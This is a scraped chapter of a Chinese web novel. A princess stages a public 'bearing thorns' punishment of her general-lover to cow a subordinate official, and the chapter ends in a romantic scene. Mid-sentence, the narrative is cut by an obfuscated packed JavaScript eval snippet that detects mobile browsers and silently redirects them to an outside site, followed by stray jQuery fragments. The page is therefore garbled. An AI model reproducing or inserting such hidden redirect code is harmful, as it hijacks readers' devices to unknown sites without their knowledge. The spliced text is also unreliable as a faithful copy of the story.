118.新官上任第一把火先烧樊缨 装模作样负荆请罪影射张试

作品:《踏沙行

    张试这个人实在是太过浮浅,轻易就将目的亮出来,连叫人猜的乐趣都没有。


    阿如明白这新官上任的第一把火该烧到哪去了,满口答应下来:“这是怎么说,就算我如今不做这个凉州都督,保境安民也是我分内之事,怎么能眼睁睁看着蕃人霍霍百姓呢?”


    张试面露尴尬,一个劲地附和:“公主体恤百姓,是我凉州之福。”


    “去请樊将军过来,”阿如歪头吩咐了元若一声,在张试看不见的角度眨眨眼,元若立刻懂了,敛声出去。


    “留在凉州?”樊缨也觉不寻常,但转念一想,又觉得合理,“他这是不确定归降后朝廷会给什么待遇,留着后路呢。”


    元若却有些不明白:“可既然不能完全信任,他为何要降?”


    樊缨正摆弄着手里的弹弓打鸟,觑着眼看她一撇:“假如有一天你最亲的人死在同族手上,你会怎么做?”


    元若神色不动,心里却咯噔一跳:弟弟元夕几乎没有消息,假如他身遭不测,自己肯定会寻找能依靠的力量壮大自己,意图报仇。倘若死在同族手上,那敌人的敌人就是朋友。


    “周人不见得会帮他,”元若由己及人想到贡布,“如今河北生乱,东北高句丽也不太平,与蕃人维持现状才是最要紧的,怎会为了一个降将轻易开战?”


    樊缨瞄准远处打出去一枚石子才转身看过来,由衷地赞了一句:“跟着公主没少学东西啊!不过你想得太简单了,就算周人想维持现状,葛罗禄也耐不住了,他上位本就不正,急需一次大胜巩固自己的地位。”


    元若沉默,明白这才是关键。


    “走吧,”樊缨反手将弹弓插进腰带里,接过裴珏递过来的佩剑,认命般自嘲道,“张试送上门来,咱们殿下这新官上任的第一把火,还是得从我身上烧。”


    没回议事的厅堂,樊缨径自回了军营,点了三千人发兵祁连戍。


    元若则急匆匆前去报信:“殿下不好了,蕃人有异动!”


    见樊缨没跟来阿如心里就有数了,佯作焦急道:“樊缨人呢?”


    “将军得了消息便前去视察情况,”元若背对着张试,与阿如眼神交流,“军情紧急,将军不敢怠慢,叫我来报于您知道。”


    阿如盛怒,一把拍在身边小几上:“放肆!纵是视察敌情也要遵守军规合验鱼符才能出兵,怎能私自行动!樊缨不遵军规,是量我不敢惩罚他吗?”


    在座的忙起身肃立,不敢言语。


    尤其张试,他不守军规的事做得更多,往常没人敢管他,如今阿如成了他顶头的上司,连自己相好樊缨的情面都不留,何况是他?


    阿如还嫌不够,命人将内官带来用于都督府调兵的铜制鱼符拿出来,取一枚右半符交给张试:“此是圣上所赐鱼符,往后诸位调兵都要与我勘验过左半符才算。今日樊缨之不守军规的冒行,我不想在诸位身上看到!”


    曹令率先表态:“圣意青睐殿下,吾等不敢违背圣意,往后诸事皆唯殿下是从!”


    他这样了,张试敢说不行吗?忙躬身:“自殿下亲临河西,百姓安乐,蕃人退却,张试佩服之至。今又加封都督实乃圣上慧眼如炬,更是殿下德行之美实至名归,张试不才,愿效犬马之力,望殿下不吝拨冗,教化一二。”


    不管这人心里怎么想,至少话说得很漂亮。


    剩下玉容,他是半路来的,更是阵营明确的“外人”,自然不能这样直抒胸臆的表明立场,颔首回道:“公主英名在京都时便常有耳闻,如今一见才知所传不虚。吾虽身受圣命,也同诸位一样是为百姓谋福,往后还请公主别嫌弃玉容粗笨,愿与诸位同为公主效劳。”


    阿如一听就好笑,在坐的几个人有哪个是为百姓谋福才做官的?


    这种冠冕堂皇的话随口就能说出来,可见京都可见朝堂已经闭目塞听多久了!


    或许歌功颂德的话听起来舒服吧,可是,在高处久了,常低头看见的都是笑脸,渐渐就会忘掉抬头去看看上头的屁股!


    当然,大周的朝堂昏聩是阿如喜闻乐见的事,极给面子的亲自扶了玉容一把,吹捧道:“果真是圣人身边的人,是我等边郡出身的兵将不能相比的。往后诸位可要以玉监军为行事准则,万不可如樊缨一样不受管束!”


    一出戏演完,外头报樊将军回来,自知有违军规,在辕门外负荆请罪。


    心里暗赞这人如今真是有默契,阿如重又换上那副盛怒的表情,对在座的人说:“军规大如山,即便是亲近之人也不可轻犯。各位先别走,跟我一起出去看看。”


    樊缨许是想让这场大戏更精彩一些,已经自行剥光了上身衣裳,背负荆条,直愣愣跪在军营公署外大街上。


    街上百姓闻讯来看热闹,知道樊缨的评头论足,不知道樊缨的指指点点,一时竟将公署外不宽的一条街道堵得严严实实。


    演过了!阿如冲他挤挤眼,示意他滚进来别在外头丢人现眼。


    樊缨装作没看见,跪得更直了,扬声喊道:“樊缨有罪,望殿下责罚,以正军法!”


    这人真是,什么时候都要显他。


    暗笑这个幼稚鬼,阿如正了正神色,扬声问道:“你有何罪?”


    “不按规定合验鱼符,此罪一也!私自调兵勘察敌情,此罪二也!身为殿下近臣,行为不端有损殿下颜面,此罪三也!”


    樊缨高昂着脑袋一一细数,好似骄傲得很,哪有一点犯错的样子?


    尤其第三句,近臣两个字也不知道他怎么想到的,说出来疏离又暧昧。知道她两个关系的人恍然大悟,不知道的人也在别人的恍然大悟中明白过来,深感阿如的大义灭亲。


    阿如已经不知道该怎么说他了,忍住笑意喊了一声:“既然樊将军深知军规不可犯,今日我便以你正法。往后谁若再犯,就是今日的下场!张参军,你来行刑。”


    张试乍被点名,有些无所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053469|158003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    适从,但也明白,今日不管樊缨是真有错假有错,这出负荆请罪都是唱给他看的。


    “是。”


    张试领命,可他哪里敢真打?樊缨与公主的关系并未刻意保密,他一个外人,意思意思好了。


    抽出荆条打了两鞭,樊缨精壮的后背连个痕迹都没留下。这么多百姓、兵士围观,他也不能太明显的放水,这才咬牙抽了十来鞭。


    丢了荆条,张试后背的汗都出来了,拱手道:“公主,樊将军一时情急不是存心违反军规,小惩大诫即可,不然可要伤了军心。”


    阿如还得装得不情不愿饶他:“既然张将军求情,今日就饶你,起来吧。”


    话是这么说,张试回了凉州便几番遣人来送礼给樊缨,说自己都是效忠公主效忠朝廷,只盼他不要记恨自己。此是后话。


    樊缨可难打发多了,受了笞刑,在外头还生龙活虎的人,在房里便散起德行来,见阿如进来立马躺倒,嚷嚷腰疼腿疼后背疼,连手指都举不起来了。


    还明晃晃光着身子,亮着那几条猫抓似的血道道给阿如看:“我受伤了,你也不心疼我。”


    阿如给他一个大大的白眼:“我若不心疼你早自己抽你了,还让张试去?”


    樊缨无话可说,但就是嘴硬:“那你疼一疼我,给我擦擦药什么的。你一上手啊,我立马就好了。”


    “真的?”阿如好笑接过药瓶,细细得看他背上的伤,奇怪地问,“咦?”


    樊缨不明所以,问:“怎么了?”


    阿如噗嗤笑出来:“这伤口啊,再不处理,就愈合了!”


    樊缨气得转身要来抓他,阿如却不给他一丁点机会,环着他腰身抱上去,整个人乖顺得贴在他受伤的背上:“阿缨,你受委屈了。”


    樊缨所有的脾气都似蓑衣上的雪片扑啦啦抖落干净,只剩下个被捋顺毛刺的乖觉小狗,享受着阿如难得的亲昵。


    阿如可太知道怎么收拾他,脸贴着不够,换成濡湿的唇瓣一寸寸在血痕上吻过。


    樊缨只觉钻心的酥麻直冲天灵盖,阿如觉出他想做什么,抽空说了句:“别动,我来。”


    只这一句,樊缨便好似丧失了所有能用来思考的条件,期待又急不可耐的等着。


    背上传来的丝丝凉意显得这具□□更加滚烫似火,阿如从瓶中挑出药粉悉心擦在他伤处,又轻又慢,仿佛眼前不是男人的后背而是精贵易碎的瓷器。


    可樊缨等的不是这个,这点小伤于他而言像打了个喷嚏,他装得这样那样不过是想引得阿如心疼。


    干脆不等了,樊缨猛地转身,钳住阿如手腕便问:“你这小骗子,我又被你骗了一次!”


    阿如笑得戏谑:“樊将军你是不是想多了呀,我说我来是替你擦药,你想到哪里去了?”


    樊缨知道她在调皮,双臂一收阿如整个人都跌进他怀里,他也毫不客气,捧过阿如的脸便吻上去:“我只想到这里!”